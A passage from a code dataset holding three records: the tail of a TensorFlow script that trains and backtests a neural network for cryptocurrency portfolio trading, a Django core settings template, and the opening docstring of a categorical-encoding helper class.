keep_p1)\r\n \r\n # LAYER 2\r\n CW2 = tf.Variable(tf.random_normal(FILTER2, stddev = SDEV * (1/(h_2*w_2*CH_OUT_1))**0.5))\r\n CB2 = tf.Variable(tf.zeros([CH_OUT_2]))\r\n CL2 = tf.nn.leaky_relu(tf.nn.conv2d(CL1, CW2, [1,1,1,1], padding=\"VALID\") + CB2 * BIAS_MULT, LEAKY_ALPHA)\r\n \r\n CL2 = tf.nn.dropout(CL2, keep_p2)\r\n \r\n CW4 = tf.Variable(tf.random_normal(FILTERf, stddev = SDEV * (1/(h_f*w_f*CH_OUT_f))**0.5))\r\n CB4 = tf.Variable(tf.zeros([CH_OUT_f]))\r\n CL4 = tf.nn.relu(tf.nn.conv2d(CL2, CW4, [1,1,1,1], padding=\"VALID\") + CB4 * BIAS_MULT)\r\n \r\n CL4 = tf.nn.dropout(CL4, keep_p3)\r\n \r\n CL_flat = tf.reshape(CL4, (-1, CH_OUT_f * N_CRYPTO//h_f))\r\n CL_flat = tf.concat( [CL_flat, HOLD_W], -1)\r\n \r\n fc_w = tf.Variable( initializer([int(CL_flat.shape[-1]), 100]) )\r\n fc_b = tf.Variable( initializer([100]) )\r\n \r\n fc_w2 = tf.Variable( initializer([100, N_OUT]) )\r\n fc_b2 = tf.Variable( initializer([N_OUT]) )\r\n \r\n LOSS_L2 = tf.nn.l2_loss(fc_w)\r\n \r\n Q_UNSCALED1 = tf.nn.relu(tf.matmul(CL_flat, fc_w) + fc_b * BIAS_MULT)\r\n Q_UNSCALED1 = tf.nn.dropout(Q_UNSCALED1, keep_p3)\r\n \r\n Q_UNSCALED = tf.matmul(Q_UNSCALED1, fc_w2) + fc_b2 * BIAS_MULT\r\n Q_UNSCALED = tf.nn.dropout(Q_UNSCALED, keep_p3)\r\n \r\n if USE_SIGMOID:\r\n Q_PREDICT = tf.nn.sigmoid(Q_UNSCALED)\r\n else:\r\n #Q_PREDICT = Q_UNSCALED\r\n Q_PREDICT = tf.nn.softmax(Q_UNSCALED, 1)\r\n \r\n #--------------------------------------------------------------------------------------\r\n # Define Loss Functions\r\n #--------------------------------------------------------------------------------------\r\n \r\n q_predict_mean, q_predict_var = tf.nn.moments(Q_PREDICT, axes=[1])\r\n all_returns = tf.reduce_sum(Q_PREDICT * Q_TARGET, 1)\r\n all_returns2 = tf.nn.relu( tf.reduce_sum(Q_PREDICT * Q_TARGET, 1) ) ** 0.8 - \\\r\n tf.nn.relu( -tf.reduce_sum(Q_PREDICT * Q_TARGET, 1) ) ** 0.8\r\n \r\n loss_func = -tf.reduce_mean(all_returns)\r\n r_mean, r_var = tf.nn.moments(all_returns, axes=[0])\r\n sharpe_loss = -r_mean / (r_var**0.5)\r\n \r\n winning_trades = tf.nn.relu(all_returns)\r\n winning_trades_mean = tf.reduce_mean(winning_trades)\r\n losing_trades = tf.nn.relu(-all_returns)\r\n losing_trades_mean = tf.reduce_mean(losing_trades)\r\n \r\n winning_trades2 = tf.nn.relu(all_returns2)\r\n winning_trades_mean2 = tf.reduce_mean(winning_trades2)\r\n losing_trades2 = tf.nn.relu(-all_returns2)\r\n losing_trades_mean2 = tf.reduce_mean(losing_trades2)\r\n \r\n #min_func = -tf.reduce_mean(tf.reduce_sum(Q_PREDICT * Q_TARGET, 1) ) * math.e**-r_stdev\r\n opt_func = (winning_trades_mean2/losing_trades_mean2) * (-tf.reduce_mean(all_returns2) + 0.1 * tf.reduce_mean(losing_trades2))# - \\\r\n #opt_func = -tf.reduce_mean(winning_trades) / tf.reduce_mean(losing_trades)# - \\\r\n #1e-7 * tf.reduce_min(all_returns)\r\n \r\n #opt_func = -tf.reduce_mean(tf.reduce_sum(Q_PREDICT * Q_TARGET, 1) ) * math.e**-r_var\r\n\r\n #opt_func = -tf.reduce_sum(all_returns)# + 0.5*tf.reduce_sum(losing_trades)\r\n #opt_func = tf.reduce_sum(tf.square(Q_PREDICT - Q_TARGET), 0)\r\n opt_func = -tf.reduce_mean(all_returns2)\r\n\r\n \r\n #loss_func = -tf.reduce_sum(Q_PREDICT * Q_TARGET) \\\r\n # - math.log10(1-M.COMMISSION)*tf.reduce_sum( tf.abs(tf.reduce_sum(Q_PREDICT[1:,:] - Q_PREDICT[:-1,:], 1) ) )\r\n\r\n LR_START = 0.0005\r\n \r\n # Optimizer\r\n LEARNING_RATE = tf.Variable(LR_START, trainable=False)\r\n optimizer = tf.train.AdamOptimizer(LEARNING_RATE)#(LEARNING_RATE)\r\n train_step = optimizer.minimize(1e2 * opt_func)\r\n \r\n #--------------------------------------------------------------------------------------\r\n # Begin Tensorflow Session\r\n #--------------------------------------------------------------------------------------\r\n \r\n init = tf.global_variables_initializer()\r\n \r\n config = tf.ConfigProto()\r\n config.intra_op_parallelism_threads = 32\r\n config.log_device_placement = True\r\n \r\n sess = tf.Session(config=config)\r\n sess.run(init)\r\n\r\n# probability of picking a random action. This decays over time\r\nepsilon = 0.1\r\n\r\nall_rewards = [] # Holds all observed rewards. The rolling mean of rewards should improve as the network learns\r\nall_Qs = [] # Holds all predicted Q values. Useful as a sanity check once the network is trained\r\nall_losses = [] # Holds all the (Q_TARGET - Q_PREDICTED) values. The rolling mean of this should decrease\r\nQ_TARGETS = []\r\nQ_PREDS = []\r\nPRICE_STATES = []\r\nH_WEIGHTS = []\r\nQ_CONVERGE = {} # Not used yet\r\nprojections = []\r\nwatch = Constants.Stopwatch()\r\n\r\ntrain_losses, test_losses, transf_losses, opt_losses = [], [], [], []\r\ngc.collect()\r\n\r\nepisode = 0\r\nsmallest_loss = 1e6\r\nwhile episode < 1000000:\r\n \r\n init_pos = episode % (len(M.TRAIN)-50)#\r\n #init_pos = M.randomIndex()\r\n M.position = init_pos\r\n \r\n USD_STATE = None\r\n USD_PRICE_STATE = None\r\n Q_USD = 0\r\n W_USD = 0 \r\n \r\n '''if episode == 100:\r\n update_LR = tf.assign(LEARNING_RATE, 0.001)\r\n sess.run(update_LR)'''\r\n \r\n for w_index, starting_w in enumerate(M.PORT_W):\r\n \r\n watch.start('update_W')\r\n M.position = init_pos\r\n for w in M.PORT_W:\r\n M.TRAIN.set_value(M.position, w, 0)\r\n M.TRAIN.set_value(M.position, starting_w, 1)\r\n watch.end('update_W')\r\n \r\n watch.start('set_state')\r\n init_price_state = np.array(M.TRAIN.iloc[M.position, PRICE_TENSOR_IDX])\r\n watch.end('set_state')\r\n \r\n watch.start('Q_PREDICT')\r\n Q1 = sess.run(Q_PREDICT, feed_dict = {\r\n X_PRICE_TENSOR : np.reshape(init_price_state,(-1, len(PRICE_TENSOR_COLS)) ),\r\n HOLD_W : np.array(M.TRAIN.ix[M.position, M.PORT_W]).reshape( (-1, N_OUT) ),\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1} )\r\n watch.end('Q_PREDICT')\r\n if w_index == 0:\r\n USD_PRICE_STATE = init_price_state\r\n Q_USD = Q1\r\n W_USD = np.array(M.TRAIN.ix[M.position, M.PORT_W]).reshape( (-1, N_OUT) )\r\n \r\n targetQ = list(Q1[0])\r\n \r\n for act_num, begin_act in enumerate(M.ACTIONS):\r\n \r\n M.position = init_pos\r\n for w in M.PORT_W:\r\n M.TRAIN.set_value(M.position, w, 0)\r\n M.TRAIN.set_value(M.position, starting_w, 1)\r\n #print(M.TRAIN.loc[M.position, M.PORT_W])\r\n \r\n watch.start(\"market_step\")\r\n #G = M.step(begin_act)\r\n #Gpercent = 100*(10**G-1)\r\n #G = math.log10(1+int(Gpercent*8)/800)\r\n profit = M.TRAIN.at[M.position, M.COLS_Y_TRAIN[act_num]]\r\n G = profit\r\n M.position += 1\r\n \r\n watch.end(\"market_step\")\r\n \r\n for t in range(0):#M.DISCOUNT_STEPS):\r\n \r\n state = np.array(M.TRAIN.loc[M.position, M.COLS_X])\r\n price_state = np.array(M.TRAIN.loc[M.position, PRICE_TENSOR_COLS])\r\n \r\n if random.random() < epsilon:\r\n act = random.choice(M.ACTIONS)\r\n else:\r\n Q = sess.run(Q_PREDICT, feed_dict = {\r\n X_PRICE_TENSOR : price_state.reshape(-1, len(PRICE_TENSOR_COLS)),\r\n HOLD_W : np.array(M.TRAIN.ix[M.position, M.PORT_W]).reshape( (-1, N_OUT) ),\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1} )\r\n \r\n act = M.ACTIONS[np.argmax(Q)]\r\n \r\n if t == M.DISCOUNT_STEPS-1 and episode > 1000:\r\n G += M.GAMMA ** (t+1) * max(Q[0])\r\n else:\r\n G += M.GAMMA ** (t+1) * M.step(act)\r\n \r\n #for w in M.PORT_W:\r\n # M.TRAIN.set_value(M.position, w, 0)\r\n #M.TRAIN.set_value(M.position, M.PORT_W[M.ACTIONS.index(act)], 1)\r\n \r\n targetQ[act_num] = G\r\n \r\n PRICE_STATES.append(init_price_state)\r\n Q_PREDS.append(Q1)\r\n Q_TARGETS.append(targetQ)\r\n H_WEIGHTS.append(M.TRAIN.ix[init_pos, M.PORT_W])\r\n \r\n if w_index == 0:\r\n usd_target = copy.deepcopy(targetQ)\r\n break\r\n \r\n num_depth = 1+max(0, math.log(episode+1)-2)+len(M.TRAIN)#*0.15\r\n num_depth = len(M.TRAIN)\r\n #num_depth = 1024\r\n if len(Q_TARGETS) >= num_depth or True:\r\n \r\n COL_W = '\\033[0m' # white (normal)\r\n COL_R = '\\033[41m' # red\r\n COL_G = '\\033[42m' # green\r\n COL_O = '\\033[33m' # orange\r\n COL_B = '\\033[34m' # blue\r\n COL_P = '\\033[35m' # purple\r\n \r\n #update_drop_rt = tf.assign(tf_keep_prob, 0.7)\r\n #sess.run(update_drop_rt)\r\n \r\n #the_x = np.reshape( np.array(X_STATES), (-1, N_IN) )\r\n the_p = np.reshape( np.array(PRICE_STATES), (-1, len(PRICE_TENSOR_COLS)))\r\n the_q = np.reshape( np.array(Q_TARGETS), (-1, N_OUT))\r\n the_w = np.reshape( np.array(H_WEIGHTS), (-1, N_OUT))\r\n \r\n the_p = np.reshape(np.array(M.TRAIN_HOLD[PRICE_TENSOR_COLS]), (-1, len(PRICE_TENSOR_COLS)) )\r\n the_q = np.reshape(np.array(M.TRAIN_HOLD[M.COLS_Y_TRAIN]), (-1, len(M.COLS_Y_TRAIN)) )\r\n the_w = np.reshape(np.array(M.TRAIN_HOLD[M.PORT_W]), (-1, len(M.PORT_W)) )\r\n \r\n #for i in range(int(num_depth+0.5)):\r\n i = 0\r\n PR_KEEP_1, PR_KEEP_2, PR_KEEP_3 = 0.70, 0.70, 0.70\r\n use_sample = True\r\n while i < 2000000000:\r\n \r\n rates = {0 : 0.0005, \r\n 1e4 : 0.0001, \r\n 3e4 : 0.00003, \r\n 1e6 : 0.00001}\r\n \r\n if i in rates:\r\n update_LR = tf.assign(LEARNING_RATE, rates[i])\r\n sess.run(update_LR)\r\n\r\n opt = train_step\r\n\r\n #opt = train_step_start if i < 200 or random.random() < 0.02 else train_step\r\n #l_func = loss_func_start if i < 200 else loss_func\r\n #opt = train_step\r\n watch.start(\"Gradient_Update\")\r\n if use_sample:\r\n \r\n n_samples = min(i//100+500, round(0.2 * len(the_p)) )\r\n #n_samples = 50\r\n #samples = [int(random.random()**0.5 * len(the_p)) for _ in range(n_samples)]\r\n samples = random.sample(range(len(the_p)), n_samples)\r\n x_noise = np.random.normal(0, 0.15, the_p[samples,:].shape)\r\n #y_noise = np.random.normal(-1e-9, 1e-9, the_q[samples,:].shape)\r\n #samples = random.sample(range(len(the_p)), round(0.3*len(the_p)))\r\n sess.run(opt, \r\n feed_dict = {X_PRICE_TENSOR : the_p[samples,:] + x_noise,\r\n Q_TARGET : the_q[samples,:],\r\n HOLD_W : the_w[samples,:],\r\n keep_p1 : PR_KEEP_1, keep_p2 : PR_KEEP_2, keep_p3 : PR_KEEP_3})\r\n \r\n else:\r\n sess.run(opt, \r\n feed_dict = {X_PRICE_TENSOR : the_p,\r\n Q_TARGET : the_q,\r\n HOLD_W : the_w,\r\n keep_p1 : PR_KEEP_1, keep_p2 : PR_KEEP_2, keep_p3 : PR_KEEP_3} )\r\n \r\n watch.end(\"Gradient_Update\")\r\n if i % 100 == 0:\r\n \r\n train_loss = sess.run(loss_func, \r\n feed_dict = {X_PRICE_TENSOR : the_p,\r\n Q_TARGET : the_q,\r\n HOLD_W : the_w,\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1} )\r\n \r\n price_state = np.reshape(M.TEST[PRICE_TENSOR_COLS], (-1, len(PRICE_TENSOR_COLS)) )\r\n truth = np.reshape(M.TEST[M.COLS_Y], (-1, len(M.COLS_Y)) )\r\n w = np.reshape(M.TEST[M.PORT_W], (-1, len(M.PORT_W)) )\r\n \r\n test_loss, losing_mean, opt_loss = sess.run([loss_func, losing_trades_mean, opt_func], \r\n feed_dict = {X_PRICE_TENSOR : price_state,\r\n Q_TARGET : truth,\r\n HOLD_W : w,\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1} )\r\n \r\n if test_loss < smallest_loss and i > 1000:\r\n # Add ops to save and restore all the variables.\r\n saver = tf.train.Saver()\r\n # Save the variables to disk.\r\n saver.save(sess, \"{}\\\\model.ckpt\".format(Constants.SAVE_PATH))\r\n print(\"Model saved in path: {}\".format(Constants.SAVE_PATH))\r\n M.save()\r\n smallest_loss = test_loss\r\n \r\n '''test_loss_trans = sess.run(l_func, \r\n feed_dict = {X_PRICE_TENSOR : price_state,\r\n Q_TARGET : np.reshape(M.TEST[M.COLS_Y_TRAIN], (-1, len(M.COLS_Y_TRAIN)) ),\r\n HOLD_W : w,\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1} )'''\r\n \r\n train_losses.append(train_loss)\r\n test_losses.append(test_loss)\r\n transf_losses.append(losing_mean)\r\n opt_losses.append(opt_loss)\r\n \r\n fig, ax1 = plt.subplots()\r\n \r\n plot_window = 1000\r\n \r\n train_plot_data = pd.Series(train_losses[-plot_window:]).rolling(5).mean()\r\n test_plot_data = pd.Series(test_losses[-plot_window:]).rolling(5).mean()\r\n transf_plot_data = pd.Series(transf_losses[-plot_window:]).rolling(5).mean()\r\n opt_plot_data = pd.Series(opt_losses[-plot_window:]).rolling(5).mean()\r\n \r\n color = 'tab:red'\r\n ax1.set_xlabel('iteration')\r\n ax1.set_ylabel('train loss', color=color)\r\n \r\n ax1.plot(range(1, len(train_plot_data)+1), train_plot_data, color=color)\r\n ax1.tick_params(axis='y', labelcolor=color)\r\n \r\n ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\r\n \r\n color = 'tab:blue'\r\n ax2.set_ylabel('test loss', color=color) # we already handled the x-label with ax1\r\n ax2.plot(range(1, len(test_plot_data)+1), test_plot_data, color=color)\r\n ax2.tick_params(axis='y', labelcolor=color)\r\n \r\n ax3 = ax2.twinx() # instantiate a second axes that shares the same x-axis\r\n \r\n color = 'tab:green'\r\n ax3.set_ylabel('L2 Loss', color=color) # we already handled the x-label with ax1\r\n ax3.plot(range(1, len(transf_plot_data)+1), transf_plot_data, color=color)\r\n ax3.tick_params(axis='y', labelcolor=color)\r\n \r\n ax4 = ax3.twinx() # instantiate a second axes that shares the same x-axis\r\n \r\n color = 'tab:orange'\r\n ax4.set_ylabel('Loss Value', color=color) # we already handled the x-label with ax1\r\n ax4.plot(range(1, len(opt_plot_data)+1), opt_plot_data, color=color)\r\n ax4.tick_params(axis='y', labelcolor=color)\r\n \r\n fig.tight_layout() # otherwise the right y-label is slightly clipped\r\n plt.show()\r\n \r\n DailyReturnTrain = 100 * (10**(-train_losses[-1] * TIMESTEP_DAYS) - 1)\r\n DailyReturnTest = 100 * (10**(-test_losses[-1] * TIMESTEP_DAYS) - 1) \r\n \r\n #DailyReturnTrain = -train_losses[-1] * TIMESTEP_DAYS\r\n #DailyReturnTest = -test_losses[-1] * TIMESTEP_DAYS\r\n \r\n print(\"Iteration: {:<10}, Train Loss: {:<.8f}, Test Loss: {:<.8f}, \"\r\n \"Test Daily Return: {}{:<.2f}%{}\".\r\n format(i,train_loss, test_loss, (COL_G if DailyReturnTest > 0 else COL_R), DailyReturnTest, COL_W))\r\n\r\n if i % 1000 == 0:\r\n gc.collect()\r\n watch.display()\r\n if i % 100000 == 0 and i > 0:\r\n \r\n '''M.TEST = D\r\n M.TEST['MARGIN_USD'] = 0\r\n M.TEST['MARGIN_BMXBTCUSD'] = 0\r\n M.TEST['MARGIN_BMXBTCUSD_S'] = 0\r\n \r\n M.TEST['reward_USD'] = 0\r\n M.TEST['reward_BMXBTCUSD'] = M.TEST['close_BMXBTCUSD'].shift(-1) / M.TEST['close_BMXBTCUSD']\r\n M.TEST['reward_BMXBTCUSD'] = M.TEST['reward_BMXBTCUSD'].apply(lambda x : math.log10(x))\r\n M.TEST['reward_BMXBTCUSD_S'] = M.TEST['reward_BMXBTCUSD'].apply(lambda x : -x)\r\n '''\r\n \r\n gc.collect()\r\n dat = M.TEST\r\n '''dat = M.data\r\n state = np.array(dat[M.COLS_X])\r\n price_state = np.array(dat[PRICE_TENSOR_COLS])\r\n w = np.array(dat[M.PORT_W])\r\n nn_outs, Q_pred = sess.run([CL_flat, Q_PREDICT], feed_dict = {\r\n X_PRICE_TENSOR : price_state.reshape(-1, len(PRICE_TENSOR_COLS) ),\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1\r\n } )\r\n \r\n lst = []\r\n out_data = dat.copy()\r\n out_cols = []\r\n act_cols = []\r\n \r\n for idx in range(len(nn_outs[0])):\r\n lst = [x[idx] for x in nn_outs]\r\n c = \"NN_OUT_{}\".format(idx+1)\r\n out_data[c] = lst\r\n out_cols.append(c)\r\n \r\n for idx, action in enumerate(M.ACTIONS):\r\n print(idx, action)\r\n lst = [x[idx] for x in Q_pred]\r\n c = \"ACT_{}\".format(action)\r\n out_data[c] = lst\r\n out_cols.append(c)\r\n act_cols.append(c)\r\n if idx >= len(M.ACTIONS) / M.MULTS - 1:\r\n break\r\n \r\n out_cols += M.COLS_Y[ : len(M.COLS_Y) // M.MULTS ]\r\n out_data[out_cols].to_csv(\"Crypto Q Data.csv\",index=False)\r\n \r\n \r\n C = sklearn.cluster.KMeans(10)\r\n C.fit(out_data[:len(M.TRAIN)][act_cols])\r\n plt.plot(C.cluster_centers_, 'o')\r\n out_data['state'] = C.predict(out_data[act_cols])\r\n out_cols.append('state')\r\n out_data[out_cols].to_csv(\"Crypto Q Data.csv\",index=False)\r\n #(C.cluster_centers_ - out_data[act_cols])**2\r\n \r\n tr = out_data[:len(M.TRAIN)][act_cols]\r\n kMeansVar = [KMeans(n_clusters=k).fit(tr) for k in range(1, 20)]\r\n centroids = [X.cluster_centers_ for X in kMeansVar]\r\n k_euclid = [cdist(tr, cent) for cent in centroids]\r\n dist = [np.min(ke, axis=1) for ke in k_euclid]\r\n wcss = [sum(d**2) for d in dist]\r\n tss = sum(pdist(tr)**2)/tr.shape[0]\r\n bss = tss - wcss\r\n plt.plot(bss)\r\n plt.show()\r\n \r\n tr = out_data[:len(M.TRAIN)]\r\n \r\n Q = {}\r\n for st in set(out_data.state):\r\n for a in act_cols:\r\n Q[(st,a)] = {}\r\n for a2 in act_cols:\r\n Q[(st,a)][a2] = 0\r\n \r\n \r\n def getAction(state, epsilon=0.05, bestAct=False):\r\n if random.random() < epsilon:\r\n return random.choice((act_cols))\r\n elif bestAct == False:\r\n return np.random.choice(list(Q[state].keys()), p=softmax(list(Q[state].values())))\r\n else:\r\n best, best_v = None, 0\r\n for k,v in Q[state].items():\r\n if best is None:\r\n best = k\r\n best_v = v\r\n continue\r\n if v > best_v:\r\n best = k\r\n best_v = v\r\n return best\r\n \r\n num_iter = 0\r\n \r\n loop_forever = True\r\n while loop_forever:\r\n \r\n try:\r\n H = random.choice(act_cols)\r\n pos = random.randint(0, len(M.TRAIN)-2)\r\n current_state = tr.at[pos, \"state\"], H\r\n current_action = getAction(current_state, 0.1, False)\r\n \r\n reward = tr.ix[pos, current_action.replace(\"ACT\",\"reward\")]\r\n if H != current_action:\r\n reward += math.log10( 1 - 0.000 )\r\n \r\n new_state = tr.at[pos+1, \"state\"], current_action\r\n next_best_rw = max(Q[new_state].values())\r\n \r\n td_target = reward + 0.99 * next_best_rw\r\n td_error = td_target - Q[current_state][current_action]\r\n Q[current_state][current_action] += 0.1 * td_error\r\n \r\n num_iter += 1\r\n if num_iter % 20000 == 0:\r\n print(num_iter)\r\n #for k, v in Q[(3,\"ACT_IOTA\")].items():\r\n # print(k, v)\r\n \r\n if num_iter % 100000 == 0:\r\n \r\n H = \"ACT_USD\"\r\n tst = out_data[len(M.TRAIN):].reset_index(drop=True)\r\n raws, tcs, rewards = [], [], []\r\n \r\n for pos in range(0, len(tst)-1):\r\n \r\n current_state = tst.at[pos, \"state\"], H\r\n current_action = getAction(current_state, 0, True)\r\n \r\n reward = tr.ix[pos, current_action.replace(\"ACT\",\"reward\")]\r\n \r\n if H != current_action:\r\n tc = math.log10( 1 - 0.002 )\r\n else:\r\n tc = 0\r\n \r\n raws.append(reward)\r\n tcs.append(tc)\r\n rewards.append(reward+tc)\r\n \r\n H = current_action\r\n \r\n plt.plot(pd.Series(raws).cumsum())\r\n print(list(pd.Series(raws).cumsum())[-1])\r\n gc.collect()\r\n #plt.plot(pd.Series(rewards).cumsum())\r\n plt.show()\r\n \r\n except KeyboardInterrupt:\r\n loop_forever = False\r\n break'''\r\n \r\n print( len(dat) )\r\n M.position = 0\r\n dat[M.PORT_W] = 0\r\n dat[\"MARGIN_USD\"] = 1\r\n prevHoldings = None\r\n all_qs_out = []\r\n \r\n G = []\r\n profits, scaled_profits = [], []\r\n costs, n_switch = [], []\r\n Vs = []\r\n \r\n price_states = np.array(dat[PRICE_TENSOR_COLS])\r\n \r\n for test_pos in range(0, len(dat)-1):\r\n \r\n w = np.array(dat.loc[M.position, M.PORT_W]).reshape(-1, len(M.PORT_W))\r\n \r\n Q, V = sess.run([Q_PREDICT, Q_UNSCALED], feed_dict = {\r\n X_PRICE_TENSOR : price_states[test_pos].reshape(-1, len(PRICE_TENSOR_COLS) ),\r\n HOLD_W : w,\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1\r\n } )\r\n \r\n all_qs_out.append(np.round(Q[0], 3))\r\n act = M.ACTIONS[np.argmax(Q)]\r\n \r\n if USE_SIGMOID:\r\n binaries = np.apply_along_axis(lambda x : 1 if x > 0.5 else 0, 0, Q)\r\n else:\r\n binaries = [0] * len(M.ACTIONS)\r\n binaries[np.argmax(Q)] = 1\r\n binaries = np.array(binaries)\r\n \r\n profit = sum(binaries * dat.ix[M.position, M.COLS_Y])\r\n \r\n #if profits:\r\n #profit *= ( 10 ** pd.Series(profits).cumsum()[len(profits)-1] )\r\n \r\n tc = 0\r\n if prevHoldings is None:\r\n prevHoldings = binaries\r\n n_switch.append(0)\r\n else:\r\n chng = np.abs(binaries - prevHoldings)\r\n n_switch.append(chng.sum() > 0)\r\n chng = chng * math.log10(1-0.075/100)\r\n #chng = chng * -1\r\n tc = sum(chng)\r\n prevHoldings = binaries\r\n \r\n costs.append(tc)\r\n profits.append(profit)\r\n G.append(profit+tc)\r\n M.position += 1\r\n \r\n Vs.append( max(0, max(V[0]) ) )\r\n \r\n scaled_profits.append(profit * Vs[-1]**0.5 )\r\n \r\n #act = M.ACTIONS[np.random.choice(range(len(M.ACTIONS)), \r\n # p = softmax(Q[0]))]\r\n #G.append( M.stepTest(act) )\r\n \r\n \r\n \r\n for w in M.PORT_W:\r\n dat.set_value(M.position, w, 0)\r\n dat.set_value(M.position, \r\n M.PORT_W[M.ACTIONS.index(act)], \r\n 1)\r\n if test_pos % 1000 == 0 and test_pos > 0:\r\n print(\"Switch Rate: {:.2f}%\".format( 100.0 * sum(n_switch) / len(n_switch) ))\r\n plt.plot(pd.Series(profits).cumsum())\r\n #plt.plot(pd.Series(G).cumsum())\r\n plt.show()\r\n \r\n plt.plot(pd.Series(profits).cumsum())\r\n print(\"Switch Rate: {:.2f}%\".format( 100.0 * sum(n_switch) / len(n_switch) ))\r\n projections.append(pd.Series(G).cumsum())\r\n \r\n for num_p, p in enumerate(projections[::-1]):\r\n plt.plot(p)\r\n print(p[len(p)-1])\r\n if num_p >= 10:\r\n break\r\n plt.show()\r\n \r\n for idx in range(len(all_qs_out[0])):\r\n hold_data = [x[idx] for x in all_qs_out]\r\n plt.plot(pd.Series(hold_data).rolling(200).mean())\r\n #for c in M.PORT_W:\r\n # plt.plot(pd.rolling_mean(dat[c], 10))\r\n plt.legend(M.PORT_W)\r\n plt.show()\r\n i += 1\r\n watch.end(\"Gradient_Update\")\r\n all_losses.append(train_loss)\r\n rolling_window = 2000\r\n watch.start(\"rolling_loss\")\r\n rolling_loss = np.mean( all_losses[-rolling_window:] )\r\n watch.end(\"rolling_loss\")\r\n #update_drop_rt = tf.assign(tf_keep_prob, 1)\r\n #sess.run(update_drop_rt)\r\n \r\n Q_NEW = sess.run(Q_PREDICT, feed_dict = {\r\n X_PRICE_TENSOR : np.reshape(USD_PRICE_STATE,(-1, len(PRICE_TENSOR_COLS)) ),\r\n keep_p1 : 1, keep_p2 : 1, keep_p3 : 1\r\n } )\r\n \r\n print(\"Episode: {:<12}, Rolling Loss: {:.6f}, Position: {}\".format(\r\n episode, rolling_loss*10**5, init_pos))\r\n print(\"Target: {:<24}, Pred: {:<24}, Upd: {:<24}, Epsilon: {:.2f}%\".format(\r\n \"[\"+\"\".join([\"{}{:<6.3f}%\\033[0m \".format(COL_R if x < 0 else G, 100*(10**x-1)) \r\n for x in usd_target])+\"]\",\r\n \"[\"+\"\".join([\"{}{:<6.3f}%\\033[0m \".format(COL_R if x < 0 else G, 100*(10**x-1)) \r\n for x in Q_USD[0]])+\"]\",\r\n \"[\"+\"\".join([\"{}{:<6.3f}%\\033[0m \".format(COL_R if x < 0 else G, 100*(10**x-1)) \r\n for x in (Q_NEW-Q_USD)[0]])+\"]\",\r\n 100*epsilon))\r\n #print(episode, targetQ[0], Q1[0], (Q_NEW-Q1)[0], loss, \"{:.6f}\".format(epsilon))\r\n \r\n X_STATES, PRICE_STATES, Q_PREDS, Q_TARGETS = [], [], [], []\r\n \r\n epsilon = 10/((episode/500) + 10)\r\n epsilon = max(0.001, epsilon)\r\n epsilon = 0\r\n \r\n if episode % 500 == 0:\r\n watch.display()\r\n \r\n episode += 1\r\n","repo_name":"rendorHaevyn/Project_WinLife","sub_path":"Final Code/3. Train Network.py","file_name":"3. Train Network.py","file_ext":"py","file_size_in_byte":51940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43504594773","text":"\"\"\" Immutable settings for <%= projectFullName %> project.\n\nCore settings configuration holds base, project independent Django settings.\nIf you need specific config, such as database of cache, use project settings.\n\n\"\"\"\nimport logging\nfrom os import path as op\n\nBASE_DIR = op.abspath(op.dirname(op.dirname(__file__)))\nPROJECT_NAME = \"<%= projectName %>\"\nENVIRONMENT_NAME = \"core\"\n\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '<%= secretKey %>'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nTEMPLATE_DEBUG = True\nALLOWED_HOSTS = []\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': op.join(BASE_DIR, 'db.sqlite3'),\n 'USER': '',\n 'PASSWORD': '',\n 'TEST_CHARSET': 'utf8',\n }\n}\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n 'KEY_PREFIX': '_'.join((PROJECT_NAME, ENVIRONMENT_NAME))\n }\n}\n\nROOT_URLCONF = '<%= projectName %>.urls'\nWSGI_APPLICATION = '<%= projectName %>.wsgi.application'\nMESSAGE_STORAGE = 'django.contrib.messages.storage.cookie.CookieStorage'\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nMEDIA_ROOT = op.join(BASE_DIR, 'media')\nSTATIC_ROOT = op.join(BASE_DIR, 'static')\nMEDIA_URL = '/media/'\nSTATIC_URL = '/static/'\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%d.%m %H:%M:%S',\n)\n\nlogging.info(\"Core settings loaded.\")\n","repo_name":"pavlov99/generator-djangoproject","sub_path":"app/templates/project/settings/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"5051176584","text":"\"\"\"\nVariable to test the class\n\"\"\"\n\n# from sklearn.datasets import load_boston\n# X, y = load_boston(return_X_y=True)\n\n\n# # create string feature\n# feature = X[:,8].astype(str)\n\n\n\"\"\"\nThe goal of this class is to transform any categorical vector into either one-hot-encoding matrix either in a continuous vector.\n\nOne-Hot-Encoding:\n if c represents the number of different classes,\n The one-hot-encoding is build c-1 columns for these classes.\n The first class is ignored.\n \nTarget Encoding:\n The idea of target encoding has been used by CATBoost a famous gradient boosting algorithm specialised for categorical variables.\n It is proposed as 